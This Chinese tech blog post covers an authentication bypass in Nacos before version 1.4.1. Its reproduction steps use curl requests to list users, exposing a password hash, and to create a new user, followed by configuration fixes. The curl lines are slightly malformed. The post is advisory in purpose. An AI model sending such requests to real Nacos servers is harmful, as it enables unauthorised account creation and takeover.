留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

2021-01-20 19:35:43 浏览数 (1)

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

2021 年 1 月 15 日,也就是昨天,Nacos 发布了新版本 1.4.1。该版本发布了很多新特性和增强的功能。

这次发布的新版本,可谓是改动众多,大大小小有几十个 issue。

此次发布之前,被网友发现的绕过 User-Agent 中的安全漏洞在这个版本中也已经被修复了!https://github.com/alibaba/nacos/issues/4701 中所被提到的旁路身份验证(身份)问题影响范围很广!

在之前的版本中,如果在 Nacos 中启用了 serverIdentity 的自定义键值认证。那么就可以通过特殊的 url 结构,仍然可以绕过访问任何 http 接口的限制。

下面给大家说一下漏洞的重现步骤。

第一步,先访问用户列表界面。

代码语言:javascript复制
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

在没有登录的正常情况下,该接口应该返回 403。

但实际上,我们给该请求添加上特殊的 header 后,却可以绕过认证,并且返回用户列表数据。

代码语言:javascript复制
{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

不仅能绕过认证,我们还能添加新用户。

代码语言:javascript复制
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'

通过 postman 执行后,我们成功的收到了 create user ok! 响应。

代码语言:javascript复制
{
    "code":200,
    "message":"create user ok!",
    "data":null
}

如果你再获取用户列表,就可以获取到刚才新增的用户信息。

根据刚才新增的用户信息,我们就可以成功的登录到 Nacos 的后台管理系统中。执行任何操作。

问题产生的原因是,开发人员的逻辑出现了漏洞,考虑不全。

在 AuthFilter 中,应该被拦截返回的 url 被放行了。

目前该漏洞的解决办法有两个,一个是升级到最新的版本 1.4.1。或者开启鉴权认证,并且关闭原有的 UA 白名单机制。

代码语言:javascript复制
nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb

另外,在使用微服务时,除了网关,其他的端口一律不能对外暴露!

截止目前,Nacos 已被众多网友骂惨了。

甚至两之前的 fastjson 也不放过。

0 人点赞